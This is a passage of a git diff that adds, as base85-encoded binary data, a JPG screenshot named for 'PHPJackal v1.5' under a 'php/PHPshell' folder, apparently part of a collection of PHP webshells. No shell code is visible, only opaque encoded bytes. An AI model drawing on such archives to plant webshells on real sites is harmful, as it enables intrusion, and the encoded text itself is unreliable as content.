zfrA3U9I<xTD|AgsheW#2V~8>zy3LPRMj*Gwbq9MGieXD|1e3t#Y^@J>0p02~e-Mcq z)ouQ-pCHxo3I8`QJ^l&jey}?<Ygoa+Emyn8{0_x@K&Ro&#FRAKq@NZo|D6Nb8kP(2 zVhW~Uhl}J`U(@B$9Y>O0!4d7PRFv1&RX!Ct+a<-j=d%q!ME9DxF&y9k@Gfl)kSCM^ zOerIQaAUZiGGO~Fp}V&<_ITq>Z@yD<<bpOdq9TEr<4O+zWVV@dvOUTl5{7eMC!OE} z``dwj%^?TMQo;wfCOYp$s2bt<gA8YfRVR*{^3upMdkJoCXGtNg!h=`FQ;#P_KSz6x zEag9_QgPI6=}GCEOcL)V=1CFB|JJ^!ppR#gGoIgPeg88w^|6O!lae^2k>#MFL~xnb z-3;^7XWO)cyd}xPe;p#1GIN3$=zP>GlwXOFhX0EpQqlN?Cj56ETK~ti4TK;X>#$5- mId^l-z?8S;-mJ-P_Fe(7Ws-hE3tRIH`y~AP@pp9JM*bf`?IXwl literal 0 HcmV?d00001 diff --git a/php/PHPshell/【PHPJackal v1.5】/PHPJackal v1.5.jpg b/php/PHPshell/【PHPJackal v1.5】/PHPJackal v1.5.jpg new file mode 100644 index 0000000000000000000000000000000000000000..0d35b0bc763cd83140b182ad29d6e803a0cd01e7 GIT binary patch literal 117337 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 